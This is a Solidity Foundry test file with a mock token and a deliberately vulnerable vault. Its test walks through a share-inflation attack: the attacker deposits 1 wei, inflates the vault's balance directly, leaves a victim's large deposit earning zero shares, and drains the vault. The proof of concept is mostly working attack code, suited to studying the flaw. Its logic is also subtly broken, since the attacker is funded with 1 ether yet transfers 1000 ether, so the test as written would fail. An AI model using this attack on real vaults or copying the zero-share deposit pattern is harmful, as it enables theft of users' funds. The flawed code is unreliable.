Copy // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
/// @notice Minimal ERC20 for testing
contract MockToken {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
constructor(string memory _name, string memory _symbol) {
name = _name;
symbol = _symbol;
}
function mint(address to, uint256 amount) external {
totalSupply += amount;
balanceOf[to] += amount;
emit Transfer(address(0), to, amount);
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) external returns (bool) {
return _transfer(msg.sender, to, amount);
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
uint256 allowed = allowance[from][msg.sender];
require(allowed >= amount, "allowance");
allowance[from][msg.sender] = allowed - amount;
return _transfer(from, to, amount);
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
require(balanceOf[from] >= amount, "balance");
balanceOf[from] -= amount;
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
/// @notice Minimal vulnerable vault reproducing the attack surface described.
/// - Uses balanceOf(token, address(this)) as totalAssets()
/// - convertToShares implements the vulnerable branch: when virtual offset = 0 it does:
/// shares = assets * (totalSupply + 1) / _inc(totalAssets)
/// This allows rounding to zero when totalAssets is large.
/// - deposit does NOT revert on minting 0 shares.
contract VulnerableVault {
MockToken public token;
// simple ERC20-like ledger for shares
mapping(address => uint256) public balanceOf;
uint256 public totalSupply;
event Deposit(address indexed caller, address indexed receiver, uint256 assets, uint256 shares);
event Withdraw(address indexed caller, address indexed receiver, uint256 assets, uint256 shares);
constructor(MockToken _token) {
token = _token;
}
/// @notice totalAssets is simply the token balance of this contract
function totalAssets() public view returns (uint256) {
return token.balanceOf(address(this));
}
/// @notice vulnerable convertToShares - reproduces the problematic line
function convertToShares(uint256 assets) public view returns (uint256 shares) {
uint256 supply = totalSupply;
// mimic the branch: virtual offset not used -> _decimalsOffset() == 0
// return fullMulDiv(assets, totalSupply + 1, _inc(totalAssets));
// for simplicity, _inc(totalAssets) = totalAssets + 1 (matching _inc semantics)
uint256 denom = totalAssets() + 1;
// if denom is very large compared to assets * (supply + 1), this returns 0
if (denom == 0) return 0; // not needed but safe
unchecked {
uint256 numerator = assets * (supply + 1);
return numerator / denom; // vulnerable rounding to zero possible
}
}
/// @notice deposit: transfers tokens from caller and mints shares to receiver.
/// **Does not revert if shares == 0** (vulnerability).
function deposit(uint256 assets, address receiver) public returns (uint256 shares) {
// transfer assets into vault
require(token.transferFrom(msg.sender, address(this), assets), "transferFrom failed");
shares = convertToShares(assets);
if (shares > 0) {
_mint(receiver, shares);
}
emit Deposit(msg.sender, receiver, assets, shares);
}
/// @notice withdraw: burns shares from caller and sends proportional assets
function withdraw(uint256 shares, address receiver) public returns (uint256 assetsOut) {
require(balanceOf[msg.sender] >= shares, "insufficient shares");
// assetsOut = shares * totalAssets / totalSupply
uint256 ta = totalAssets();
require(totalSupply > 0, "no supply");
unchecked {
assetsOut = shares * ta / totalSupply;
}
_burn(msg.sender, shares);
// transfer assetsOut to receiver
require(token.transfer(receiver, assetsOut), "transfer failed");
emit Withdraw(msg.sender, receiver, assetsOut, shares);
}
/* ========== internal share bookkeeping ========== */
function _mint(address to, uint256 amount) internal {
totalSupply += amount;
balanceOf[to] += amount;
}
function _burn(address from, uint256 amount) internal {
balanceOf[from] -= amount;
totalSupply -= amount;
}
}
/// @notice Foundry test that demonstrates the exploit
contract VulnerableVaultTest is Test {
MockToken token;
VulnerableVault vault;
address attacker = address(0xAA);
address victim = address(0xBB);
function setUp() public {
token = new MockToken("Long Token", "LONG");
vault = new VulnerableVault(token);
// mint tokens to attacker and victim
token.mint(attacker, 1 ether); // attacker has plenty
token.mint(victim, 1000 ether); // victim has large balance
// label addresses for easier debug
vm.label(attacker, "Attacker");
vm.label(victim, "Victim");
vm.label(address(vault), "Vault");
vm.label(address(token), "LONG");
}
function testExploit_zeroShareMinting_and_drain() public {
// attacker initial deposit: 1 wei (use 1 instead of 1e18 to demonstrate tiny deposit)
uint256 attackerInitialDeposit = 1; // 1 wei
vm.prank(attacker);
token.approve(address(vault), type(uint256).max);
vm.prank(attacker);
// deposit 1 wei -> convertToShares should return 1 share (since supply is 0 -> numerator assets*(0+1)=1; denom totalAssets+1 before transfer is 0+1=1 => 1/1 =1)
vault.deposit(attackerInitialDeposit, attacker);
// sanity checks
assertEq(vault.totalSupply(), 1, "attacker should have 1 share");
assertEq(token.balanceOf(address(vault)), 1, "vault should hold 1 wei");
// attacker inflates the vault by transferring tokens directly (not via deposit)
uint256 attackerDirectInflation = 1000 ether;
// attacker already has tokens, transfer directly (no approve needed)
vm.prank(attacker);
token.transfer(address(vault), attackerDirectInflation);
// now totalAssets() is 1 + attackerDirectInflation
uint256 ta = vault.totalAssets();
assertEq(ta, 1 + attackerDirectInflation, "totalAssets should reflect direct transfer");
// Victim attempts to deposit a very large amount (100 ether) but will receive 0 shares because convertToShares rounds down.
uint256 victimDeposit = 100 ether;
vm.prank(victim);
token.approve(address(vault), type(uint256).max);
vm.prank(victim);
vault.deposit(victimDeposit, victim);
// Because convertToShares returns 0, victim has 0 shares
assertEq(vault.balanceOf(victim), 0, "victim got 0 shares");
// victim's tokens are still in the vault (unrecoverable by victim)
uint256 expectedVaultBalance = ta + victimDeposit;
assertEq(token.balanceOf(address(vault)), expectedVaultBalance, "victim tokens stuck in vault");
// Attacker withdraws their single share -> since totalSupply == 1, attacker can claim the full vault balance
vm.prank(attacker);
vault.withdraw(1, attacker);
// Attacker now receives nearly all vault funds (should be expectedVaultBalance)
assertEq(token.balanceOf(attacker), 1 ether - attackerInitialDeposit - attackerDirectInflation + expectedVaultBalance, "attacker should have drained the vault");
// Vault balance after attacker withdraw should be 0 (or leave dust if rounding)
assertLe(token.balanceOf(address(vault)), 1, "vault drained (at most 1 wei left)");
}
}